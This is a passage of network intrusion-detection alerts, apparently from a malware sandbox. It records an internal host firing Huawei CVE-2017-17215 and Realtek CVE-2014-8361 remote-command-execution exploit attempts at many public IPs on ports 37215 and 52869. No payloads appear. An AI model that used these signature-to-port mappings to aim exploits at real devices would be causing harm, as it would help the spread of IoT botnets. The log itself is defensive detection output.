Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.163.104.51

Timestamp:	07/20/24-23:01:27.649697
SID:	2835222
Source Port:	58516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 80.40.99.121

Timestamp:	07/20/24-23:01:34.048618
SID:	2829579
Source Port:	58806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.86.91.27

Timestamp:	07/20/24-23:01:14.049603
SID:	2835222
Source Port:	35116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.238.188.119

Timestamp:	07/20/24-23:01:14.105395
SID:	2835222
Source Port:	45350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.168.154.99

Timestamp:	07/20/24-23:01:44.469869
SID:	2831300
Source Port:	52872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.205.238.167

Timestamp:	07/20/24-23:01:08.565561
SID:	2027339
Source Port:	54690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.58.20.251

Timestamp:	07/20/24-23:01:20.096752
SID:	2829579
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.133.252.53

Timestamp:	07/20/24-23:01:47.541928
SID:	2027339
Source Port:	34978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.43.74.118

Timestamp:	07/20/24-23:01:31.314906
SID:	2027339
Source Port:	46844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 59.121.190.157

Timestamp:	07/20/24-23:01:43.415157
SID:	2027339
Source Port:	58212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.100.221.147

Timestamp:	07/20/24-23:01:44.520254
SID:	2831300
Source Port:	48396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 57.18.83.1

Timestamp:	07/20/24-23:01:07.004907
SID:	2835222
Source Port:	46144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 212.114.230.189

Timestamp:	07/20/24-23:01:08.562013
SID:	2831300
Source Port:	55056
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 208.252.51.218

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	46002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 194.21.224.56

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	46230
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.130.41

Timestamp:	07/20/24-23:01:00.633355
SID:	2829579
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 65.136.207.183

Timestamp:	07/20/24-23:01:08.677485
SID:	2831300
Source Port:	57992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.112.61.164

Timestamp:	07/20/24-23:01:46.808111
SID:	2831300
Source Port:	49806
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.86.136.162

Timestamp:	07/20/24-23:01:08.650213
SID:	2027339
Source Port:	51888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:49.329747
SID:	2027339
Source Port:	34040
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.47.80.71

Timestamp:	07/20/24-23:01:47.569820
SID:	2831300
Source Port:	59236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.23.236.194

Timestamp:	07/20/24-23:01:01.826098
SID:	2027339
Source Port:	59266
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.91.249.28

Timestamp:	07/20/24-23:01:46.176757
SID:	2027339
Source Port:	47606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.16.2.141

Timestamp:	07/20/24-23:01:42.627588
SID:	2027339
Source Port:	51950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.143.173.10

Timestamp:	07/20/24-23:02:05.745200
SID:	2831300
Source Port:	52492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.74.14.28

Timestamp:	07/20/24-23:01:20.600303
SID:	2027339
Source Port:	42888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.96.8.174

Timestamp:	07/20/24-23:01:07.026812
SID:	2829579
Source Port:	57606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.188.109

Timestamp:	07/20/24-23:01:14.049603
SID:	2835222
Source Port:	39784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.0.247.159

Timestamp:	07/20/24-23:01:41.229799
SID:	2027339
Source Port:	59514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.166.185

Timestamp:	07/20/24-23:01:21.936545
SID:	2829579
Source Port:	53604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.71.121.153

Timestamp:	07/20/24-23:01:51.943792
SID:	2027339
Source Port:	41816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.101.195.198

Timestamp:	07/20/24-23:01:31.978141
SID:	2835222
Source Port:	60358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.1.92.156

Timestamp:	07/20/24-23:01:49.302154
SID:	2831300
Source Port:	52690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.63.9.134

Timestamp:	07/20/24-23:02:00.413915
SID:	2831300
Source Port:	49516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.60.122.132

Timestamp:	07/20/24-23:01:27.650871
SID:	2829579
Source Port:	49532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.217.152.223

Timestamp:	07/20/24-23:01:52.646505
SID:	2831300
Source Port:	51246
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.161.204.46

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	51778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.69.12

Timestamp:	07/20/24-23:01:24.910426
SID:	2835222
Source Port:	33084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 114.190.123.93

Timestamp:	07/20/24-23:01:08.640831
SID:	2831300
Source Port:	35026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.154.226.190

Timestamp:	07/20/24-23:01:44.795218
SID:	2027339
Source Port:	38366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 94.180.106.123

Timestamp:	07/20/24-23:01:11.817771
SID:	2835222
Source Port:	60098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 141.211.193.35

Timestamp:	07/20/24-23:01:42.000471
SID:	2831300
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.152.226.6

Timestamp:	07/20/24-23:01:47.023698
SID:	2831300
Source Port:	56202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.71.100.246

Timestamp:	07/20/24-23:01:24.904906
SID:	2829579
Source Port:	51310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.65.153.68

Timestamp:	07/20/24-23:01:42.262355
SID:	2027339
Source Port:	57412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.207.112.150

Timestamp:	07/20/24-23:01:25.481306
SID:	2027339
Source Port:	56798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.15.238.37

Timestamp:	07/20/24-23:01:59.449569
SID:	2025132
Source Port:	58072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 59.163.139.170

Timestamp:	07/20/24-23:01:07.114267
SID:	2829579
Source Port:	41674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.225.198.252

Timestamp:	07/20/24-23:01:44.870961
SID:	2027339
Source Port:	42288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 87.137.214.123

Timestamp:	07/20/24-23:01:08.620788
SID:	2831300
Source Port:	49576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.38.147.179

Timestamp:	07/20/24-23:01:25.498619
SID:	2025132
Source Port:	56578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.166.152.235

Timestamp:	07/20/24-23:01:20.592206
SID:	2831300
Source Port:	34798
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.187.39.89

Timestamp:	07/20/24-23:01:44.484644
SID:	2831300
Source Port:	49704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.53.250.19

Timestamp:	07/20/24-23:01:57.169212
SID:	2027339
Source Port:	57438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.185.185.234

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	36904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.37.94.236

Timestamp:	07/20/24-23:01:03.126921
SID:	2027339
Source Port:	52722
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.0.250.177

Timestamp:	07/20/24-23:01:20.119973
SID:	2829579
Source Port:	53292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.227.101

Timestamp:	07/20/24-23:00:59.201033
SID:	2835222
Source Port:	56980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.120.196.186

Timestamp:	07/20/24-23:01:14.367036
SID:	2027339
Source Port:	44160
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.70.14.160

Timestamp:	07/20/24-23:01:21.099180
SID:	2027339
Source Port:	51752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.251.22.209

Timestamp:	07/20/24-23:01:27.666100
SID:	2829579
Source Port:	41150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.179.89.83

Timestamp:	07/20/24-23:01:50.212922
SID:	2831300
Source Port:	40040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.34.215.18

Timestamp:	07/20/24-23:01:46.591274
SID:	2831300
Source Port:	37074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.103.54.206

Timestamp:	07/20/24-23:01:44.624990
SID:	2831300
Source Port:	51404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.12.11.101

Timestamp:	07/20/24-23:01:41.263141
SID:	2027339
Source Port:	43200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.112.106.138

Timestamp:	07/20/24-23:02:30.172034
SID:	2027339
Source Port:	38216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.178.228.43

Timestamp:	07/20/24-23:01:41.608574
SID:	2027339
Source Port:	50646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.0.35.148

Timestamp:	07/20/24-23:01:41.522990
SID:	2027339
Source Port:	53746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.169.228

Timestamp:	07/20/24-23:01:00.633389
SID:	2835222
Source Port:	41340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.223.107.25

Timestamp:	07/20/24-23:01:55.870348
SID:	2027339
Source Port:	37940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.108.94

Timestamp:	07/20/24-23:01:02.104572
SID:	2829579
Source Port:	43368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.243.29.19

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	59422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.15.215.48

Timestamp:	07/20/24-23:01:41.758923
SID:	2831300
Source Port:	35628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.147.70.115

Timestamp:	07/20/24-23:01:49.810143
SID:	2831300
Source Port:	35336
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.201.15.112

Timestamp:	07/20/24-23:00:57.221017
SID:	2835222
Source Port:	59050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.83.62.168

Timestamp:	07/20/24-23:01:42.672378
SID:	2027339
Source Port:	58926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.224.40.86

Timestamp:	07/20/24-23:01:03.813611
SID:	2025132
Source Port:	41022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.57.14.26

Timestamp:	07/20/24-23:01:46.358381
SID:	2831300
Source Port:	42794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.72.98.132

Timestamp:	07/20/24-23:01:53.524925
SID:	2027339
Source Port:	56392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.151.113.249

Timestamp:	07/20/24-23:01:42.939520
SID:	2027339
Source Port:	50552
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.119.211.11

Timestamp:	07/20/24-23:01:52.285243
SID:	2831300
Source Port:	36866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.16.236.13

Timestamp:	07/20/24-23:01:11.816504
SID:	2835222
Source Port:	32888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 152.70.166.60

Timestamp:	07/20/24-23:01:43.035756
SID:	2025132
Source Port:	38810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.98.234.97

Timestamp:	07/20/24-23:01:55.606975
SID:	2027339
Source Port:	58218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 211.211.25.32

Timestamp:	07/20/24-23:02:48.156942
SID:	2027339
Source Port:	41054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.203.121.55

Timestamp:	07/20/24-23:01:08.599362
SID:	2831300
Source Port:	53054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 191.56.125.219

Timestamp:	07/20/24-23:01:49.116780
SID:	2025132
Source Port:	34822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.243.36.237

Timestamp:	07/20/24-23:01:42.740527
SID:	2831300
Source Port:	43206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.137.17.221

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	34160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.33.49.156

Timestamp:	07/20/24-23:01:47.821658
SID:	2025132
Source Port:	57088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 72.193.247.149

Timestamp:	07/20/24-23:02:18.278764
SID:	2025132
Source Port:	56808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.12.33

Timestamp:	07/20/24-23:01:40.291616
SID:	2835222
Source Port:	49718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.215.215

Timestamp:	07/20/24-23:01:32.028836
SID:	2835222
Source Port:	35218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 187.63.42.28

Timestamp:	07/20/24-23:01:56.304951
SID:	2025132
Source Port:	54288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.223.182.162

Timestamp:	07/20/24-23:01:09.055028
SID:	2027339
Source Port:	54640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.213.77

Timestamp:	07/20/24-23:01:11.817297
SID:	2835222
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.60.95.77

Timestamp:	07/20/24-23:01:27.649775
SID:	2829579
Source Port:	33728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.241.192.98

Timestamp:	07/20/24-23:01:48.138392
SID:	2027339
Source Port:	53770
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.116.111.15

Timestamp:	07/20/24-23:01:12.852602
SID:	2027339
Source Port:	40150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 181.219.175.178

